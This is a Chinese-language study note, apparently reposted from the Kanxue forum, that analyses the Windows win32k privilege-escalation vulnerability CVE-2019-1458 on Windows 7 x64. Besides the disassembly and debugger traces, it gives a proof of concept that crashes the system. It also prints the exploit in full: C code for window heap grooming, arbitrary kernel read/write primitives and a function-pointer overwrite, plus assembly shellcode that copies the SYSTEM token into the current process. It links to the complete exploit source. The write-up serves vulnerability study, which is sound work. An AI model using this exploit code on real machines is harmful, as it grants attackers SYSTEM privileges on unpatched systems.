CVE-2019-1458提权漏洞学习笔记

CVE-2019-1458提权漏洞学习笔记
2022-7-15 18:4:46 Author: 看雪学苑(查看原文) 阅读量:12 收藏

本文为看雪论坛优秀文章
看雪论坛作者ID：1900

一

前言

1.漏洞描述

该漏洞存在于win32k的xxxPaintSwitchWindow函数中，函数会将窗口对象扩展区域最开始八字节保存的内容取出，将其作为内存地址进行读写。可是这最开始的八字节中保存的内容可以通过SetWindowLong函数进行更改，而函数没有验证保存的内容是否指向合法的地址就进行读写，如果地址不合法，则会产生BSOD错误。

通过设置，可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra，通过内存布局，在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象，通过修改窗口对象的成员实现任意地址读写，最终实现提权。

2.实验环境

操作系统：Win7 x64 sp1 专业版
编译器：Visual Studio 2017
调试器：IDA Pro，WinDbg

二

漏洞分析

漏洞函数xxxPaintSwitchWindow只有一个参数，就是窗口对象的tagWND结构体，在win7 x64系统下，该结构体共占128字节，定义如下：

2: kd> dt win32k!tagWND -vstruct tagWND, 170 elements, 0x128 bytes   +0x000 head             : struct _THRDESKHEAD, 5 elements, 0x28 bytes   +0x028 state            : Uint4B   +0x02c state2           : Uint4B   +0x030 ExStyle          : Uint4B   +0x034 style            : Uint4B   +0x038 hModule          : Ptr64 to Void   +0x040 hMod16           : Uint2B   +0x042 fnid             : Uint2B   +0x048 spwndNext        : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x050 spwndPrev        : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x058 spwndParent      : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x060 spwndChild       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x068 spwndOwner       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x070 rcWindow         : struct tagRECT, 4 elements, 0x10 bytes   +0x080 rcClient         : struct tagRECT, 4 elements, 0x10 bytes   +0x090 lpfnWndProc      : Ptr64 to     int64    +0x098 pcls             : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes   +0x0a0 hrgnUpdate       : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes   +0x0a8 ppropList        : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes   +0x0b0 pSBInfo          : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes   +0x0b8 spmenuSys        : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes   +0x0c0 spmenu           : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes   +0x0c8 hrgnClip         : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes   +0x0d0 hrgnNewFrame     : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes   +0x0d8 strName          : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes   +0x0e8 cbwndExtra       : Int4B   +0x0f0 spwndLastActive  : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x0f8 hImc             : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes   +0x100 dwUserData       : Uint8B   +0x108 pActCtx          : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes   +0x110 pTransform       : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes   +0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes   +0x120 ExStyle2         : Uint4B

xxxPaintSwitchWindow函数会将扩展区域中保存的内容赋给rdi：

.text:FFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND).text:FFFFF97FFF111DEC.text:FFFFF97FFF111E15                 xor     r13d, r13d.text:FFFFF97FFF111E08                 mov     rsi, rcx        ; 将tagWND赋给rsi.text:FFFFF97FFF111E4F                 mov     rdi, [rsi+128h] ; 取出扩展区域最开始的八字节保存的内容.text:FFFFF97FFF111E56                 jmp     short loc_FFFFF97FFF111E5B

验证保存的地址是否为0，以及保存的地址偏移0x6C的内容是否为0：

.text:FFFFF97FFF111E5B loc_FFFFF97FFF111E5B:                   .text:FFFFF97FFF111E5B                 cmp     rdi, r13        ; 验证rdi是否为0.text:FFFFF97FFF111E5E                 jz      loc_FFFFF97FFF112019                 // 省略部分代码.text:FFFFF97FFF111E77                 cmp     [rdi+6Ch], r13d ; 验证[rdi+0x6C]保存的内容是否为0.text:FFFFF97FFF111E7B                 jz      short loc_FFFFF97FFF111E94

之后还会对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作，这里不难看出，增减的数值由GetDPIMetrics函数的返回值决定，不过这不是重点，重点是这些操作是会扩大这些与rdi偏移的地址中保存的内容：

这里的问题就很明显，函数取出扩展区域最开始八字节保存的地址，仅验证这个地址是否为0，对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改，只要将这个地址修改为一个非法地址，函数对非法地址的读写就会产生BSOD。如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处，最后面的增减操作就会扩大cbwndExtra。

三

漏洞验证

触发该的函数调用链为：NtUserMessageCall -> NtUserfnINLPDRAWITEMSTRUCT -> xxxWrapSwitchWndProc -> xxxSwitchWndProc -> xxxPaintSwitchWindow。

首先是NtUserMessageCall函数，该函数在msg < 0x400的时候就会调用gapfnMessageCall数组中保存的函数地址：

__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7){
    if ( (unsigned int)msg < 0x400 )    {      v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])(              v12,              (unsigned int)msg,              wParam,              lParam,              ResultInfo,              dwType,              v15);    }}

gapfnMessageCall数组保存了一系列的函数，其中就有NtUserfnINLPDRAWITEMSTRUCT:

NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移，调用gpsi偏移中保存的函数：

__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType){
  return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8,                                                         v7,                                                         v6,                                                          &Dst,                                                         a5);}

而gpsi偏移地址保存的函数在InitFunctionTables函数中初始化，其中偏移0x40处保存了xxxWrapSwitchWndProc，所以参数dwType需要为0，这样8 * 6 + 0x10 = 0x30 + 0x10 = 0x40，NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc。

xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数：

xxxSwitchWndProc主要分为两部分，第一部分如下图所示，会对tagWND->fnid进行判断，而一个新创建的窗口fnid为0，所以最外面的if语句会成立。在if成立的情况下，会有三个地方可能导致函数返回。

第一处是由于tagWND->fnid为0，所以就是在判断tagWND->cbwndExtra是否小于gpsi + 0x154中保存的数值。因为要用到扩展区域最开始八字节保存的内容，所以这里cbwndExtra至少为8。那么，这里就是在判断gpsi偏移0x154保存的内容大于等于至少0x130，而不通过其他操作，[gpsi + 0x154] < 0x130，所以这个条件不会成立。

第二处在传递的参数msg为WM_CREATE的时候，函数就不会返回：

#define WM_CREATE                       0x0001

第三处只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。如果这三处都不成立，就会将tagWND->fnid设置为0x2A0。

xxxSwitchWndProc第二处是调用漏洞函数xxxPaintSwitchWindow：

  switch ( msg )  {    case 0x14u:    case 0x3Au:      xxxPaintSwitchWindow(tagWND);      return 0i64;  }

当消息为WM_ERASEBKGND的时候，xxxSwitchWndProc就会调用xxxPaintSwitchWindow：

#define WM_ERASEBKGND                   0x0014

想要触发漏洞函数，msg就不为1，可是msg不为1的时候，在xxxSwitchWndProc的第一部分的第二处代码又会返回。所以就需要两次进入xxxSwitchWndProc函数，第一次的时候msg要为WM_CREATE(0x1)，这样函数会将tagWND->fnid设置为0x2A0。第二次在调用的时候，msg就可以指定为WM_ERASEBKGND(0x14)，此时由于第一次进入将tagWND->fnid设置为0x2A0，xxxSwitchWndProc就会绕过第一部分的代码，直接在第二部分判断消息，调用漏洞函数xxxPaintSwitchWindow。

在xxxPaintSwitchWindow函数中，在第4处获取扩展区域最开始八字节保存的地址之前，也有三个地方需要绕过：

第一处的绕过，只需要创建窗口的时候，指定窗口可见就可以。在xxxSwitchWndProc函数中，已经设置了tagWND->fnid为0x2A0，所以不需要绕过。第三处还是在判断[gpsi + 0x154]和cbwndExtra + 0x128的数值大小，创建窗口的时候，cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"窗口的时候，会将[gpsi + 0x154]设置为0x130，所以只需要通过创建这样一个窗口就可以绕过。

因此，漏洞触发步骤如下：

① 创建一个可见的带有八字节扩展区域的窗口用来触发漏洞。

② 调用NtUserMessageCall，参数msg为WM_CREATE(0x1)，将tagWND->fnid设置为0x2A0。

③ 将扩展区域最开始八字节保存的地址设置为一个不合法的地址。

④ 创建类名为"32771"的窗口，将[gpsi + 0x154]设置为0x130。

⑤ 调用NtUserMessageCall函数，参数msg为WM_ERASEBKGND(0x14)，这样就会指向漏洞函数。

相应POC代码如下：

BOOL POC_CVE_2019_1458(){    BOOL bRet = TRUE;    HINSTANCE handle = NULL;
    handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }
    char *pBuf = "POC";    WNDCLASSEX wc = { 0 };
    wc.cbSize = sizeof(wc);    wc.cbWndExtra = 8;    wc.hInstance = handle;    wc.lpfnWndProc = DefWindowProc;    wc.lpszClassName = pBuf;
    if (!RegisterClassEx(&wc))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }
    HWND hPocWnd = NULL;
    // 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE    hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,                             NULL, NULL, handle, NULL);    if (!hPocWnd)    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }
    // 设置tagWND->fnid为0x2A0    NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0, 0);
    // 设置内存地址    SetWindowLongPtrW(hPocWnd, 0, 0x1900);
    // 设置[gpsi + 0x154] = 0x130    if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,                        NULL, NULL, handle, NULL))    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }
    // 触发漏洞    NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
exit:    return bRet;}

在上图的第四处，也就是取出扩展区域最开始八字节保存的地址代码处下断点，编译运行POC，程序就会绕过上面的判断成功执行到这里：

3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x633: kd> gBreakpoint 0 hitwin32k!xxxPaintSwitchWindow+0x63:fffff960`00201e4f 488bbe28010000  mov     rdi,qword ptr [rsi+128h]0: kd> pwin32k!xxxPaintSwitchWindow+0x6a:fffff960`00201e56 eb03            jmp     win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)

继续向下运行，函数会对扩展区域保存的八字节地址进行读取，而这个地址已经被设置为一个不合法的地址：

3: kd> pwin32k!xxxPaintSwitchWindow+0x6f:fffff960`00201e5b 493bfd          cmp     rdi,r133: kd> pwin32k!xxxPaintSwitchWindow+0x72:fffff960`00201e5e 0f84b5010000    je      win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019)3: kd> pwin32k!xxxPaintSwitchWindow+0x78:fffff960`00201e64 33d2            xor     edx,edx3: kd> pwin32k!xxxPaintSwitchWindow+0x7a:fffff960`00201e66 41b800000100    mov     r8d,10000h3: kd> pwin32k!xxxPaintSwitchWindow+0x80:fffff960`00201e6c 488bce          mov     rcx,rsi3: kd> pwin32k!xxxPaintSwitchWindow+0x83:fffff960`00201e6f e8dccbfaff      call    win32k!GetDCEx (fffff960`001aea50)3: kd> pwin32k!xxxPaintSwitchWindow+0x88:fffff960`00201e74 488be8          mov     rbp,rax3: kd> pwin32k!xxxPaintSwitchWindow+0x8b:fffff960`00201e77 44396f6c        cmp     dword ptr [rdi+6Ch],r13d3: kd> r rdirdi=00000000000019003: kd> dq 000000000000190000000000`00001900  ????????`???????? ????????`????????00000000`00001910  ????????`???????? ????????`????????00000000`00001920  ????????`???????? ????????`????????00000000`00001930  ????????`???????? ????????`????????00000000`00001940  ????????`???????? ????????`????????00000000`00001950  ????????`???????? ????????`????????00000000`00001960  ????????`???????? ????????`????????00000000`00001970  ????????`???????? ????????`????????

继续运行就会因为对不合法地址进行读取造成BSOD：

1: kd> !analyze -vConnected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)An exception happened while executing a system service routine.Arguments:Arg1: 00000000c0000005, Exception code that caused the bugcheckArg2: fffff96000131e77, Address of the instruction which caused the bugcheckArg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheckArg4: 0000000000000000, zero.

CONTEXT:  fffff88006916ea0 -- (.cxr 0xfffff88006916ea0)rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568 r8=0000000000000000  r9=0000000000000000 r10=fffff880069176c0r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000iopl=0         nv up ei ng nz na pe nccs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282win32k!xxxPaintSwitchWindow+0x8b:fffff960`00131e77 44396f6c        cmp     dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=????????Resetting default scope
PROCESS_NAME:  exp_x64.exe
STACK_TEXT:  win32k!xxxPaintSwitchWindow+0x8bwin32k!xxxSwitchWndProc+0xc5win32k!xxxWrapSwitchWndProc+0x3cwin32k!NtUserfnDWORD+0x27win32k!NtUserMessageCall+0x132nt!KiSystemServiceCopyEnd+0x13exp_x64+0x107bexp_x64+0x3f81a

四

漏洞利用

要利用这个漏洞，需要在触发漏洞的窗口高地址不远处布置另一个用来攻击的窗口，所以需要首先创建一些用来攻击的窗口，然后释放掉中间的一部分，这样触发漏洞时候创建的窗口就会占用释放的某个窗口，高地址就会保存其他的窗口，相应代码如下：

BOOL Init_CVE_2019_1458(HWND *hWndList){    BOOL bRet = TRUE;    WNDCLASSEX wc = { 0 };    char *pAttackName = "Attack";    DWORD i = 0;    HINSTANCE handle = NULL;
    handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }
    memset(&wc, 0, sizeof(wc));    wc.cbSize = sizeof(wc);    wc.hInstance = GetModuleHandle(NULL);    wc.lpfnWndProc = DefWindowProc;    wc.lpszClassName = pAttackName;    wc.cbWndExtra = 8;
    if (!RegisterClassEx(&wc))    {        ShowError("RegisterClassEx", GetLastError());        bRet = FALSE;        goto exit;    }
    // 创建用来攻击的窗口    for (i = 0; i < 100; i++)    {        hWndList[i] = CreateWindowEx(NULL,                                     pAttackName,                                     "Hack Window",                                     WS_VISIBLE,                                     0, 0, 0, 0,                                     NULL,                                     0,                                     handle,                                     0);        if (!hWndList[i])        {            ShowError("CreateWindowEx", GetLastError());            bRet = FALSE;            goto exit;        }    }
    // 释放其中的一部分用来保存触发漏洞时候创建的窗口    for (i = 20; i < 80; i += 2)    {        if (!DestroyWindow(hWndList[i]))        {            ShowError("DestroyWindow", GetLastError());            bRet = FALSE;            goto exit;        }        hWndList[i] = NULL;    }
exit:    return bRet;}

在漏洞触发的时候，只要找到高地址处最近的窗口就可以完成攻击。此时，窗口扩展区域最开始八字节保存的地址应当是触发漏洞窗口的cbwndExtra地址减去0x60偏移的地址，因为xxxPaintSwitchWindow进行加减入操作的时候，是从偏移0x5C开始的。另外，在到达对内存进行加减操作之前，函数还会判断Alt键是否被按下，所以触发漏洞之前，需要模拟Alt的按键消息才能成功的完成加减的操作。

一旦成功扩大cbwndExtra，就可以利用SetWindowLong修改高位地址的tagWND实现任意地址读写完成提权，所以此时触发漏洞的代码如下：

BOOL Trigger_CVE_2019_1458(HWND *hWndList){    BOOL bRet = TRUE;    HINSTANCE handle = NULL;    lHMValidateHandle HMValidateHandle = NULL;
    handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }
    HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();    if (!HMValidateHandle)    {        bRet = FALSE;        goto exit;    }
    char *pBuf = "Trigger";    WNDCLASSEX wc = { 0 };
    wc.cbSize = sizeof(wc);    wc.cbWndExtra = 8;    wc.hInstance = handle;    wc.lpfnWndProc = DefWindowProc;    wc.lpszClassName = pBuf;
    if (!RegisterClassEx(&wc))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }
    HWND hTriggerWnd = NULL;
    // 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE    hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,                                 NULL, NULL, handle, NULL);    if (!hTriggerWnd)    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }
    // 寻找用来攻击的窗口    ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0;    PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
    ulTriggerAddr = (ULONG64)pTriggerHead->pSelf;    HWND hAttackWnd = NULL;    for (i = 0; i < 100; i++)    {        if (hWndList[i])        {            PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);            ulAttackAddr = (ULONG64)pAttackHead->pSelf;            if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000)            {                hAttackWnd = hWndList[i];                break;            }        }    }
    if (!hAttackWnd)    {        printf("Do not find Attack tagWND\n");        bRet = FALSE;        goto exit;    }
    // 设置tagWND->fnid为0x2A0    NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0);
    // 设置内存地址    ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60;    SetWindowLongPtrW(hTriggerWnd, 0, ulValue);
    // 设置[gpsi + 0x154] = 0x130    if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,                        NULL, NULL, handle, NULL))    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }
    // 模拟Alt按键    BYTE keyState[256];    GetKeyboardState(keyState);    keyState[VK_MENU] |= 0x80;    SetKeyboardState(keyState);
    // 触发漏洞    NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
    ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128;    if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset))    {        bRet = FALSE;        goto exit;    }
exit:    return bRet;}

在提权代码中，利用tagWND->spwndParent和tagWND->StrName->Buffer来实现任意代码读写，修改关键函数为ShellCode地址实现提权：

BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset){    BOOL bRet = TRUE;
    PVOID pTargetAddr = NULL;
    pTargetAddr = GetHalQuerySystemInformation();    if (!pTargetAddr)    {        bRet = FALSE;        goto exit;    }
    ULONG64 ulOrgFunAddr = 0;
    // 获取原函数地址    ulOrgFunAddr = ReadData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset);
    // 将函数修改为ShellCode地址    WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset);
    // 调用函数执行ShellCode实现提权    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    }
    // 恢复原函数    WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset);
exit:    return bRet;}
VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset){    BOOL bRet = TRUE;
    // 设置要写入的地址    SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr);
    LARGE_UNICODE_STRING lstrData = { 0 };    lstrData.Length = 0x8;    lstrData.MaximumLength = 0xA;    lstrData.Buffer = (PWCHAR)&pValue;    NtUserDefSetText(hAttackWnd, &lstrData);}
ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset){    ULONG64 ulOrg = 0, ulOrgPar = 0;    ULONG64 ulParOffset = ulOffset + 0x58;
    // 获取tagWND->spwndParent    ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset);
    // 设置tagWND->spwndParent为目标地址    SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr);    // 读取目标地址内容    ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT);    // 恢复tagWND->spwndParent    SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar);
    return ulOrg;}

五

运行结果

在Win7 x64系统中，用来实现提权的关键成员偏移如下：

3: kd> dt _EPROCESSntdll!_EPROCESS   +0x180 UniqueProcessId  : Ptr64 Void   +0x188 ActiveProcessLinks : _LIST_ENTRY   +0x208 Token            : _EX_FAST_REF

此时的对象头定义如下，此时Body偏移为0x30，所以提权之后，增加PointerCount时的偏移为-0x30：

kd> dt _OBJECT_HEADERnt!_OBJECT_HEADER   +0x000 PointerCount     : Int8B   +0x008 HandleCount      : Int8B   +0x008 NextToFree       : Ptr64 Void   +0x010 Lock             : _EX_PUSH_LOCK   +0x018 TypeIndex        : UChar   +0x019 TraceFlags       : UChar   +0x01a InfoMask         : UChar   +0x01b Flags            : UChar   +0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION   +0x020 QuotaBlockCharged : Ptr64 Void   +0x028 SecurityDescriptor : Ptr64 Void   +0x030 Body             : _QUAD

相应的ShellCode如下：

ShellCodeInWin7 proc    push r8    push r9    ; 从KPCR中获取当前线程_ETHREAD    mov rax, gs:[188h]    ; 从_ETHREAD中获取当前进程_EPROCESS    mov rax, [rax + 70h]       mov r8, rax
find_system_proc:    ; 获取下一进程EPROCESS地址    mov rax, [rax + 188h]      sub rax, 188h    ; 获取PID    mov rdx, [rax + 180h]      ; 判断pid是否为4，不为4则跳转    cmp rdx, 4               jne find_system_proc  
    ; 将system的token赋值给本进程,并增加引用计数    mov rax, [rax + 208h]      and al, 0f0h    mov [r8 + 208h], rax    mov r9, 2    add [rax - 30h], r9
    ; 设置返回值，退出函数    mov rax, 1    pop r9    pop r8    ret ShellCodeInWin7 endp

相应的代码在：https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp。编译运行成功，就可以成功提权：

虽然可以成功提权，由于触发漏洞的时候，xxxPaintSwitchWindow会修改0x10字节的数据，所以不只是tagWND->cbwndExtra会被修改，其他成员也会被修改，所以在程序释放窗口的时候就会产生BSOD。尝试过把这些被修改的数据改成0，或者其他窗口的数值，但还是会蓝屏，不知道要怎么解决，就等论坛的其他师傅们探索了。

看雪ID：1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创，转载请注明来自看雪社区

# 往期推荐

1.堆、UAF之PWN从实验到原理

2.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

3.PWN学习笔记【格式化字符串漏洞练习】

4.Il2Cpp恢复符号过程分析

5.记一次安全产品的漏洞挖掘

6.CVE-2016-3309提权漏洞学习笔记

球分享

球点赞

球在看

点击“阅读原文”，了解更多！

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458458369&idx=1&sn=a6e1dfce51090c00bf9da1c1ab017996&chksm=b18e298b86f9a09d23368b0c005ff8ea4ea90741832aaca8029daca836b147d688145e36b085#rd
如有侵权请联系:admin#unsafe.sh